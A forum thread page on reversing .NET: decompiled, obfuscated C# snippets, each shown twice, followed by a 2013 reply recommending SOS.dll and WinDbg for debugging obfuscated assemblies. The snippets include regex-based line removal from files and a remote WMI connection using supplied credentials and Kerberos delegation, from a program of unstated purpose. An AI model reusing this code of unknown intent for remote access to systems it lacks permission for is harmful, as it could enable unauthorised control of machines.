                                 goto Label_0067;
                             }
                         }
                         goto Label_007A;
                     Label_0067:
                         flag = true;
                     }
                 Label_007A:
                     if (flag)
                     {
                         num2++;
                     }
                     else
                     {
                         writer.WriteLine(str2);
                     }
                 }
             }
         }
         File.Copy(tempFileName, string_0, true);
         File.Delete(tempFileName);
         Trace.Write(" (" + num2.ToString() + ")");
         Trace.WriteLine(" Success!");
     }
     catch (Exception exception)
     {
         Trace.WriteLine(" Error!");
         Trace.WriteLine(exception.ToString());
     }
 }
 
 
 
 
   private void method_2(string string_0, List<Regex> list_0)
 {
     Trace.Write("Process " + string_0 + " ...");
     try
     {
         int num2 = 0;
         string tempFileName = Path.GetTempFileName();
         using (StreamWriter writer = new StreamWriter(tempFileName))
         {
             using (StreamReader reader = new StreamReader(string_0))
             {
                 string str2;
                 while ((str2 = reader.ReadLine()) != null)
                 {
                     bool flag = false;
                     using (List<Regex>.Enumerator enumerator = list_0.GetEnumerator())
                     {
                         while (enumerator.MoveNext())
                         {
                             Regex current = enumerator.Current;
                             if (current.Match(str2).Success)
                             {
                                 goto Label_0067;
                             }
                         }
                         goto Label_007A;
                     Label_0067:
                         flag = true;
                     }
                 Label_007A:
                     if (flag)
                     {
                         num2++;
                     }
                     else
                     {
                         writer.WriteLine(str2);
                     }
                 }
             }
         }
         File.Copy(tempFileName, string_0, true);
         File.Delete(tempFileName);
         Trace.Write(" (" + num2.ToString() + ")");
         Trace.WriteLine(" Success!");
     }
     catch (Exception exception)
     {
         Trace.WriteLine(" Error!");
         Trace.WriteLine(exception.ToString());
     }
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 public override string System.Object.ToString()
 {
     TimeSpan span = (TimeSpan) (DateTime.Now - this.dateTime_1);
     double num = ((double) this.long_0) / span.TotalMilliseconds;
     return string.Format("download {0:#,#} at {1:#,#} k/s. Fp {2:#,#}, to {3}", new object[] { this.long_0, num, this.vmethod_16(), this.vmethod_17() });
 }
 
 
 
 
   public override string System.Object.ToString()
 {
     TimeSpan span = (TimeSpan) (DateTime.Now - this.dateTime_1);
     double num = ((double) this.long_0) / span.TotalMilliseconds;
     return string.Format("download {0:#,#} at {1:#,#} k/s. Fp {2:#,#}, to {3}", new object[] { this.long_0, num, this.vmethod_16(), this.vmethod_17() });
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 private ManagementScope method_0()
 {
     string str;
     ConnectionOptions options = new ConnectionOptions {
         Authentication = AuthenticationLevel.PacketPrivacy
     };
     if ((this.string_3 != null) && !(this.string_3 == ""))
     {
         options.Impersonation = ImpersonationLevel.Delegate;
         options.Authority = "Kerberos:" + this.string_3;
     }
     else
     {
         options.Impersonation = ImpersonationLevel.Impersonate;
     }
     if (this.string_1 != null)
     {
         options.Username = this.string_1;
         options.Password = this.string_2;
     }
     options.EnablePrivileges = this.bool_0;
     if ((this.string_0 == null) || (this.string_0 == ""))
     {
         this.string_0 = ".";
     }
     if ((this.string_0.IndexOf('\\') < 0) && (this.string_0.IndexOf('/') < 0))
     {
         str = @"\\" + this.string_0 + @"\root\cimv2";
     }
     else
     {
         str = this.string_0;
     }
     ManagementScope scope = new ManagementScope(str, options);
     scope.Connect();
     return scope;
 }
 
 
 
 
   private ManagementScope method_0()
 {
     string str;
     ConnectionOptions options = new ConnectionOptions {
         Authentication = AuthenticationLevel.PacketPrivacy
     };
     if ((this.string_3 != null) && !(this.string_3 == ""))
     {
         options.Impersonation = ImpersonationLevel.Delegate;
         options.Authority = "Kerberos:" + this.string_3;
     }
     else
     {
         options.Impersonation = ImpersonationLevel.Impersonate;
     }
     if (this.string_1 != null)
     {
         options.Username = this.string_1;
         options.Password = this.string_2;
     }
     options.EnablePrivileges = this.bool_0;
     if ((this.string_0 == null) || (this.string_0 == ""))
     {
         this.string_0 = ".";
     }
     if ((this.string_0.IndexOf('\\') < 0) && (this.string_0.IndexOf('/') < 0))
     {
         str = @"\\" + this.string_0 + @"\root\cimv2";
     }
     else
     {
         str = this.string_0;
     }
     ManagementScope scope = new ManagementScope(str, options);
     scope.Connect();
     return scope;
 }
 
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 private void method_16(object object_0, string string_3, string string_4)
 {
     GClass40 class2;
     if (string_3 == "createTcpChannel")
     {
         class2 = new GClass40(GEnum8.const_25);
     }
     else
     {
         class2 = new GClass40(GEnum8.const_18);
     }
     class2.byte_0 = base.ID;
     class2.string_0 = string_3;
     class2.string_1 = string_4;
     base._parentSession.method_16(this, class2);
 }
 
 
 
 
   private void method_16(object object_0, string string_3, string string_4)
 {
     GClass40 class2;
     if (string_3 == "createTcpChannel")
     {
         class2 = new GClass40(GEnum8.const_25);
     }
     else
     {
         class2 = new GClass40(GEnum8.const_18);
     }
     class2.byte_0 = base.ID;
     class2.string_0 = string_3;
     class2.string_1 = string_4;
     base._parentSession.method_16(this, class2);
 }


Offline ArkPhaze

  • Peasant
  • *
  • Posts: 136
  • Cookies: 20
  • null terminated
    • View Profile
Re: reversing .net
« Reply #5 on: November 01, 2013, 04:19:38 am »
If you need to debug a .NET assembly that is obfuscated, you actually don't even need to bother with de-obfuscation. .NET code doesn't exactly run in a virtual machine either, it's not like Java.  :P It's compiled to MSIL via the JIT compilation process beforehand, nevermind things about Ngen or pre-JIT'ing methods in the .NET framework, and things about the GAC, blah blah... Hence the main reason why you may have slower application load times for a .NET binary, and a higher memory usage (subjectively speaking); JIT compiler is invoked everytime you run that .NET binary. :)

All you need to do is learn how to use the SOS.dll debugging extension. I'd just recommend using WinDbg for that task.

Not exactly sure what you're trying to do here though with this .NET program...
« Last Edit: November 01, 2013, 04:22:58 am by ArkPhaze »
sig=: ArkPhaze

[ J/ASM/.NET/C/C++ - Software Engineer ]